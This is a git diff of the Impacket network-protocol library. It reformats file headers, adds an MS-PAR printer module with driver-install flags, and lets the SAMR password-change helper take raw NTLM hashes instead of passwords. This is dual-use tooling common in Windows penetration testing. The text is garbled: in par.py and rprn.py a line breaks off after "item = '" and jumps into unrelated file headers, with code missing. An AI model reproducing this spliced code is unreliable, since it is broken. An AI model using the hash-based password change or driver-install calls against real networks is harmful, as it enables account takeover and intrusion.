+NOTIFICATION_PORT_CONFIGURATION_CHANGE = 4 +NOTIFICATION_DNS64_CONFIGURATION_CHANGE = 5 +NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6 + +################################################################################ +# STRUCTURES +################################################################################ + +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +################################################################################ +# RPC CALLS +################################################################################ + +# Opnum 0 +class IpTransitionProtocolApplyConfigChanges(NDRCALL): + opnum = 0 + structure = ( + ('NotificationNum', BYTE), + ) + +class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 1 +class IpTransitionProtocolApplyConfigChangesEx(NDRCALL): + opnum = 1 + structure = ( + ('NotificationNum', BYTE), + ('DataLength', ULONG), + ('Data', BYTE_ARRAY), + ) + +class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 2 +class IpTransitionCreatev6Inv4Tunnel(NDRCALL): + opnum = 2 + structure = ( + ('LocalAddress', "4s=''"), + ('RemoteAddress', "4s=''"), + ('InterfaceName', WSTR), + ) + +class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +# Opnum 3 +class IpTransitionDeletev6Inv4Tunnel(NDRCALL): + opnum = 3 + structure = ( + ('TunnelGuid', GUID), + ) + +class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL): + structure = ( + ('ErrorCode', ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ + +OPNUMS = { + 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse), + 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse), + 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse), + 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse) +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +# For all notifications except EX +def hIpTransitionProtocolApplyConfigChanges(dce, notification_num): + request = IpTransitionProtocolApplyConfigChanges() + request['NotificationNum'] = notification_num + + return dce.request(request) + +# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX +# No admin required +def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data): + request = IpTransitionProtocolApplyConfigChangesEx() + request['NotificationNum'] = notification_num + request['DataLength'] = len(notification_data) + request['Data'] = notification_data + + return dce.request(request) + +# Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5 +def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name): + request = IpTransitionCreatev6Inv4Tunnel() + request['LocalAddress'] = inet_aton(local_address) + request['RemoteAddress'] = inet_aton(remote_address) + + request['InterfaceName'] = checkNullString(interface_name) + request.fields['InterfaceName'].fields['MaximumCount'] = 256 + + return dce.request(request) + +def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid): + request = IpTransitionDeletev6Inv4Tunnel() + request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid) + + return dce.request(request) diff --git a/impacket/dcerpc/v5/lsad.py b/impacket/dcerpc/v5/lsad.py index 6aeec63c13..5bb1b01a28 100644 --- a/impacket/dcerpc/v5/lsad.py +++ b/impacket/dcerpc/v5/lsad.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-LSAD] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/lsat.py b/impacket/dcerpc/v5/lsat.py index 062cc3f5d4..b9e2fbf7d2 100644 --- a/impacket/dcerpc/v5/lsat.py +++ b/impacket/dcerpc/v5/lsat.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-LSAT] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket import nt_errors from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ diff --git a/impacket/dcerpc/v5/mgmt.py b/impacket/dcerpc/v5/mgmt.py index b419c11336..d31b4977ee 100644 --- a/impacket/dcerpc/v5/mgmt.py +++ b/impacket/dcerpc/v5/mgmt.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [C706] Remote Management Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray from impacket.dcerpc.v5.epm import PRPC_IF_ID diff --git a/impacket/dcerpc/v5/mimilib.py b/impacket/dcerpc/v5/mimilib.py index fdcdb8bc74..e20a3cc15f 100644 --- a/impacket/dcerpc/v5/mimilib.py +++ b/impacket/dcerpc/v5/mimilib.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # Mimikatz Interface implementation, based on @gentilkiwi IDL # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/ndr.py b/impacket/dcerpc/v5/ndr.py index 824f080cf3..d8f074fff8 100644 --- a/impacket/dcerpc/v5/ndr.py +++ b/impacket/dcerpc/v5/ndr.py @@ -1,16 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# [C706] Transfer NDR Syntax implementation +# Description: +# [C706] Transfer NDR Syntax implementation # -# Author: Alberto Solino (@agsolino) +# Author: +# Alberto Solino (@agsolino) # # ToDo: -# [X] Unions and rest of the structured types -# [ ] Documentation for this library, especially the support for Arrays +# [X] Unions and rest of the structured types +# [ ] Documentation for this library, especially the support for Arrays # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/nrpc.py b/impacket/dcerpc/v5/nrpc.py index 787613a68d..d69bef2c10 100644 --- a/impacket/dcerpc/v5/nrpc.py +++ b/impacket/dcerpc/v5/nrpc.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-NRPC] Interface implementation # @@ -18,6 +18,9 @@ # Helper functions start with "h". # There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# from struct import pack from six import b from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \ diff --git a/impacket/dcerpc/v5/nspi.py b/impacket/dcerpc/v5/nspi.py index 591b105875..b09a95e5f7 100644 --- a/impacket/dcerpc/v5/nspi.py +++ b/impacket/dcerpc/v5/nspi.py @@ -1,4 +1,6 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -8,14 +10,15 @@ # [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol # [MS-OXNSPI]: Exchange Server Name Service Provider Interface (NSPI) Protocol # -# Authors: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# Tested for MS-OXNSPI, some operation may not work for MS-NSPI # -# Tested for MS-OXNSPI, some operation may not work for MS-NSPI +# Author: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # ToDo: -# [ ] Test commented NDRCALLs and write helpers for them -# [ ] Test restriction structures +# [ ] Test commented NDRCALLs and write helpers for them +# [ ] Test restriction structures +# from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/oxabref.py b/impacket/dcerpc/v5/oxabref.py index febf77c572..90b73d0f72 100644 --- a/impacket/dcerpc/v5/oxabref.py +++ b/impacket/dcerpc/v5/oxabref.py @@ -1,4 +1,6 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -7,8 +9,8 @@ # Description: # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol # -# Authors: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# Author: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # from impacket import hresult_errors, mapi_constants diff --git a/impacket/dcerpc/v5/par.py b/impacket/dcerpc/v5/par.py new file mode 100644 index 0000000000..6585da0a31 --- /dev/null +++ b/impacket/dcerpc/v5/par.py @@ -0,0 +1,588 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-PAR] Interface implementation +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Adam (@cube0x0) +# +from impacket import system_errors +from impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin, string_to_bin + +MSRPC_UUID_PAR = uuidtup_to_bin(('76F03F96-CDFD-44FC-A22C-64950A001209', '1.0')) +MSRPC_UUID_WINSPOOL = string_to_bin('9940CA8E-512F-4C58-88A9-61098D6896BD') + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1.1.7 STRING_HANDLE +STRING_HANDLE = LPWSTR +class PSTRING_HANDLE(NDRPOINTER): + referent = ( + ('Data', STRING_HANDLE), + ) + +# 2.2.3.1 Access Values +JOB_ACCESS_ADMINISTER = 0x00000010 +JOB_ACCESS_READ = 0x00000020 +JOB_EXECUTE = 0x00020010 +JOB_READ = 0x00020020 +JOB_WRITE = 0x00020010 +JOB_ALL_ACCESS = 0x000F0030 +PRINTER_ACCESS_ADMINISTER = 0x00000004 +PRINTER_ACCESS_USE = 0x00000008 +PRINTER_ACCESS_MANAGE_LIMITED = 0x00000040 +PRINTER_ALL_ACCESS = 0x000F000C +PRINTER_EXECUTE = 0x00020008 +PRINTER_READ = 0x00020008 +PRINTER_WRITE = 0x00020008 +SERVER_ACCESS_ADMINISTER = 0x00000001 +SERVER_ACCESS_ENUMERATE = 0x00000002 +SERVER_ALL_ACCESS = 0x000F0003 +SERVER_EXECUTE = 0x00020002 +SERVER_READ = 0x00020002 +SERVER_WRITE = 0x00020003 +SPECIFIC_RIGHTS_ALL = 0x0000FFFF +STANDARD_RIGHTS_ALL = 0x001F0000 +STANDARD_RIGHTS_EXECUTE = 0x00020000 +STANDARD_RIGHTS_READ = 0x00020000 +STANDARD_RIGHTS_REQUIRED = 0x000F0000 +STANDARD_RIGHTS_WRITE = 0x00020000 +SYNCHRONIZE = 0x00100000 +DELETE = 0x00010000 +READ_CONTROL = 0x00020000 +WRITE_DAC = 0x00040000 +WRITE_OWNER = 0x00080000 +GENERIC_READ = 0x80000000 +GENERIC_WRITE = 0x40000000 +GENERIC_EXECUTE = 0x20000000 +GENERIC_ALL = 0x10000000 + +# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle +PRINTER_CHANGE_SET_PRINTER = 0x00000002 +PRINTER_CHANGE_DELETE_PRINTER = 0x00000004 +PRINTER_CHANGE_PRINTER = 0x000000FF +PRINTER_CHANGE_ADD_JOB = 0x00000100 +PRINTER_CHANGE_SET_JOB = 0x00000200 +PRINTER_CHANGE_DELETE_JOB = 0x00000400 +PRINTER_CHANGE_WRITE_JOB = 0x00000800 +PRINTER_CHANGE_JOB = 0x0000FF00 +PRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000 +PRINTER_CHANGE_TIMEOUT = 0x80000000 +PRINTER_CHANGE_ALL = 0x7777FFFF +PRINTER_CHANGE_ALL_2 = 0x7F77FFFF + +# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle +PRINTER_CHANGE_ADD_PRINTER_DRIVER = 0x10000000 +PRINTER_CHANGE_DELETE_PRINTER_DRIVER = 0x40000000 +PRINTER_CHANGE_PRINTER_DRIVER = 0x70000000 +PRINTER_CHANGE_ADD_FORM = 0x00010000 +PRINTER_CHANGE_DELETE_FORM = 0x00040000 +PRINTER_CHANGE_SET_FORM = 0x00020000 +PRINTER_CHANGE_FORM = 0x00070000 +PRINTER_CHANGE_ADD_PORT = 0x00100000 +PRINTER_CHANGE_CONFIGURE_PORT = 0x00200000 +PRINTER_CHANGE_DELETE_PORT = 0x00400000 +PRINTER_CHANGE_PORT = 0x00700000 +PRINTER_CHANGE_ADD_PRINT_PROCESSOR = 0x01000000 +PRINTER_CHANGE_DELETE_PRINT_PROCESSOR = 0x04000000 +PRINTER_CHANGE_PRINT_PROCESSOR = 0x07000000 +PRINTER_CHANGE_ADD_PRINTER = 0x00000001 +PRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008 +PRINTER_CHANGE_SERVER = 0x08000000 + +# 2.2.3.7 Printer Enumeration Flags +PRINTER_ENUM_LOCAL = 0x00000002 +PRINTER_ENUM_CONNECTIONS = 0x00000004 +PRINTER_ENUM_NAME = 0x00000008 +PRINTER_ENUM_REMOTE = 0x00000010 +PRINTER_ENUM_SHARED = 0x00000020 +PRINTER_ENUM_NETWORK = 0x00000040 +PRINTER_ENUM_EXPAND = 0x00004000 +PRINTER_ENUM_CONTAINER = 0x00008000 +PRINTER_ENUM_ICON1 = 0x00010000 +PRINTER_ENUM_ICON2 = 0x00020000 +PRINTER_ENUM_ICON3 = 0x00040000 +PRINTER_ENUM_ICON8 = 0x00800000 +PRINTER_ENUM_HIDE = 0x01000000 + + +# 2.2.3.8 Printer Notification Values +PRINTER_NOTIFY_CATEGORY_2D = 0x00000000 +PRINTER_NOTIFY_CATEGORY_ALL = 0x00010000 +PRINTER_NOTIFY_CATEGORY_3D = 0x00020000 + + +# 3.1.4.4.8 RpcAddPrinterDriverEx Values +APD_STRICT_UPGRADE = 0x00000001 +APD_STRICT_DOWNGRADE = 0x00000002 +APD_COPY_ALL_FILES = 0x00000004 +APD_COPY_NEW_FILES = 0x00000008 +APD_COPY_FROM_DIRECTORY = 0x00000010 +APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000 +APD_COPY_TO_ALL_SPOOLERS = 0x00002000 +APD_INSTALL_WARNED_DRIVER = 0x00008000 +APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.1.1.4 PRINTER_HANDLE +class PRINTER_HANDLE(NDRSTRUCT): + structure = ( + ('Data','20s=b""'), + ) + def getAlignment(self): + if self._isNDR64 is True: + return 8 + else: + return 4 + +# 2.2.1.2.1 DEVMODE_CONTAINER +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY), + ) + +class DEVMODE_CONTAINER(NDRSTRUCT): + structure = ( + ('cbBuf',DWORD), + ('pDevMode',PBYTE_ARRAY), + ) + +# 2.2.1.11.1 SPLCLIENT_INFO_1 +class SPLCLIENT_INFO_1(NDRSTRUCT): + structure = ( + ('dwSize',DWORD), + ('pMachineName',LPWSTR), + ('pUserName',LPWSTR), + ('dwBuildNum',DWORD), + ('dwMajorVersion',DWORD), + ('dwMinorVersion',DWORD), + ('wProcessorArchitecture',USHORT), + ) + +class PSPLCLIENT_INFO_1(NDRPOINTER): + referent = ( + ('Data', SPLCLIENT_INFO_1), + ) + +# 2.2.1.11.2 SPLCLIENT_INFO_2 +class SPLCLIENT_INFO_2(NDRSTRUCT): + structure = ( + ('notUsed',ULONGLONG), + ) + +class PSPLCLIENT_INFO_2(NDRPOINTER): + referent = ( + ('Data', SPLCLIENT_INFO_2), + ) +# 2.2.1.11.3 SPLCLIENT_INFO_3 +class SPLCLIENT_INFO_3(NDRSTRUCT): + structure = ( + ('cbSize',UINT), + ('dwFlags',DWORD), + ('dwFlags',DWORD), + ('pMachineName',LPWSTR), + ('pUserName',LPWSTR), + ('dwBuildNum',DWORD), + ('dwMajorVersion',DWORD), + ('dwMinorVersion',DWORD), + ('wProcessorArchitecture',USHORT), + ('hSplPrinter',ULONGLONG), + ) + +class PSPLCLIENT_INFO_3(NDRPOINTER): + referent = ( + ('Data', SPLCLIENT_INFO_3), + ) + +# 2.2.1.5.1 DRIVER_INFO_1 +class DRIVER_INFO_1(NDRSTRUCT): + structure = ( + ('pName', STRING_HANDLE ), + ) +class PDRIVER_INFO_1(NDRPOINTER): + referent = ( + ('Data', DRIVER_INFO_1), + ) + +# 2.2.1.5.2 DRIVER_INFO_2 +class DRIVER_INFO_2(NDRSTRUCT): + structure = ( + ('cVersion',DWORD), + ('pName', LPWSTR), + ('pEnvironment', LPWSTR), + ('pDriverPath', LPWSTR), + ('pDataFile', LPWSTR), + ('pConfigFile', LPWSTR), + ) +class PDRIVER_INFO_2(NDRPOINTER): + referent = ( + ('Data', DRIVER_INFO_2), + ) + +# 2.2.1.2.3 DRIVER_CONTAINER +class DRIVER_INFO_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + 1 : ('pNotUsed', PDRIVER_INFO_1), + 2 : ('Level2', PDRIVER_INFO_2), + } + +class DRIVER_CONTAINER(NDRSTRUCT): + structure = ( + ('Level', DWORD), + ('DriverInfo', DRIVER_INFO_UNION), + ) + +# 2.2.1.2.14 SPLCLIENT_CONTAINER +class CLIENT_INFO_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + 1 : ('pClientInfo1', PSPLCLIENT_INFO_1), + 2 : ('pNotUsed1', PSPLCLIENT_INFO_2), + 3 : ('pNotUsed2', PSPLCLIENT_INFO_3), + } + +class SPLCLIENT_CONTAINER(NDRSTRUCT): + structure = ( + ('Level',DWORD), + ('ClientInfo',CLIENT_INFO_UNION), + ) + +# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE +class USHORT_ARRAY(NDRUniConformantArray): + item = ' / Positive Technologies (https://www.ptsecurity.com/) +# Author: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # import re @@ -609,7 +611,8 @@ def create_tunnel(self): except (IndexError, KeyError, AttributeError): raise RPCProxyClientException('RPC Proxy CONN/A1 request failed') - if b'Transfer-Encoding: chunked' in resp: + resp_ascii = resp.decode("ASCII", errors='replace') + if "transfer-encoding: chunked" in resp_ascii.lower(): self.__serverChunked = True # If the body is here, let's send it to rpc_out_recv1() diff --git a/impacket/dcerpc/v5/rpcrt.py b/impacket/dcerpc/v5/rpcrt.py index dce7a52334..f37e66dfc7 100644 --- a/impacket/dcerpc/v5/rpcrt.py +++ b/impacket/dcerpc/v5/rpcrt.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # @@ -11,10 +13,10 @@ # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# ToDo: -# [ ] Take out all the security provider stuff out of here (e.g. RPC_C_AUTHN_WINNT) -# and put it elsewhere. This will make the coder cleaner and easier to add -# more SSP (e.g. NETLOGON) +# ToDo: +# [ ] Take out all the security provider stuff out of here (e.g. RPC_C_AUTHN_WINNT) +# and put it elsewhere. This will make the coder cleaner and easier to add +# more SSP (e.g. NETLOGON) # import logging diff --git a/impacket/dcerpc/v5/rprn.py b/impacket/dcerpc/v5/rprn.py index 3a324f3f8b..9f07c00322 100644 --- a/impacket/dcerpc/v5/rprn.py +++ b/impacket/dcerpc/v5/rprn.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-RPRN] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket import system_errors from impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL @@ -140,6 +143,17 @@ class PSTRING_HANDLE(NDRPOINTER): PRINTER_NOTIFY_CATEGORY_3D = 0x00020000 +# 3.1.4.4.8 RpcAddPrinterDriverEx Values +APD_STRICT_UPGRADE = 0x00000001 +APD_STRICT_DOWNGRADE = 0x00000002 +APD_COPY_ALL_FILES = 0x00000004 +APD_COPY_NEW_FILES = 0x00000008 +APD_COPY_FROM_DIRECTORY = 0x00000010 +APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000 +APD_COPY_TO_ALL_SPOOLERS = 0x00002000 +APD_INSTALL_WARNED_DRIVER = 0x00008000 +APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000 + ################################################################################ # STRUCTURES ################################################################################ @@ -215,6 +229,48 @@ class PSPLCLIENT_INFO_3(NDRPOINTER): referent = ( ('Data', SPLCLIENT_INFO_3), ) + +# 2.2.1.5.1 DRIVER_INFO_1 +class DRIVER_INFO_1(NDRSTRUCT): + structure = ( + ('pName', STRING_HANDLE ), + ) +class PDRIVER_INFO_1(NDRPOINTER): + referent = ( + ('Data', DRIVER_INFO_1), + ) + +# 2.2.1.5.2 DRIVER_INFO_2 +class DRIVER_INFO_2(NDRSTRUCT): + structure = ( + ('cVersion',DWORD), + ('pName', LPWSTR), + ('pEnvironment', LPWSTR), + ('pDriverPath', LPWSTR), + ('pDataFile', LPWSTR), + ('pConfigFile', LPWSTR), + ) +class PDRIVER_INFO_2(NDRPOINTER): + referent = ( + ('Data', DRIVER_INFO_2), + ) + +# 2.2.1.2.3 DRIVER_CONTAINER +class DRIVER_INFO_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + 1 : ('pNotUsed', PDRIVER_INFO_1), + 2 : ('Level2', PDRIVER_INFO_2), + } + +class DRIVER_CONTAINER(NDRSTRUCT): + structure = ( + ('Level', DWORD), + ('DriverInfo', DRIVER_INFO_UNION), + ) + # 2.2.1.2.14 SPLCLIENT_CONTAINER class CLIENT_INFO_UNION(NDRUNION): commonHdr = ( @@ -232,7 +288,6 @@ class SPLCLIENT_CONTAINER(NDRSTRUCT): ('ClientInfo',CLIENT_INFO_UNION), ) - # 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE class USHORT_ARRAY(NDRUniConformantArray): item = '. # There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# from struct import unpack, pack diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index e4dc61bf7c..43091e9ae9 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-SAMR] Interface implementation # @@ -18,6 +18,9 @@ # Helper functions start with "h". # There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# from __future__ import division from __future__ import print_function from binascii import unhexlify @@ -2735,15 +2738,38 @@ def hSamrGetAliasMembership(dce, domainHandle, sidArray): request['SidArray']['Count'] = len(sidArray['Sids']) return dce.request(request) -def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword): +def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword, oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''): request = SamrChangePasswordUser() request['UserHandle'] = userHandle from impacket import crypto, ntlm - oldPwdHashNT = ntlm.NTOWFv1(oldPassword) - newPwdHashNT = ntlm.NTOWFv1(newPassword) - newPwdHashLM = ntlm.LMOWFv1(newPassword) + if oldPwdHashNT == '': + oldPwdHashNT = ntlm.NTOWFv1(oldPassword) + else: + # Let's convert the hashes to binary form, if not yet + try: + oldPwdHashNT = unhexlify(oldPwdHashNT) + except: + pass + + if newPwdHashLM == '': + newPwdHashLM = ntlm.LMOWFv1(newPassword) + else: + # Let's convert the hashes to binary form, if not yet + try: + newPwdHashLM = unhexlify(newPwdHashLM) + except: + pass + + if newPwdHashNT == '': + newPwdHashNT = ntlm.NTOWFv1(newPassword) + else: + # Let's convert the hashes to binary form, if not yet + try: + newPwdHashNT = unhexlify(newPwdHashNT) + except: + pass request['LmPresent'] = 0 request['OldLmEncryptedWithNewLm'] = NULL diff --git a/impacket/dcerpc/v5/sasec.py b/impacket/dcerpc/v5/sasec.py index de2421c931..e6ebd9fd37 100644 --- a/impacket/dcerpc/v5/sasec.py +++ b/impacket/dcerpc/v5/sasec.py @@ -1,11 +1,11 @@ -# SECUREAUTH 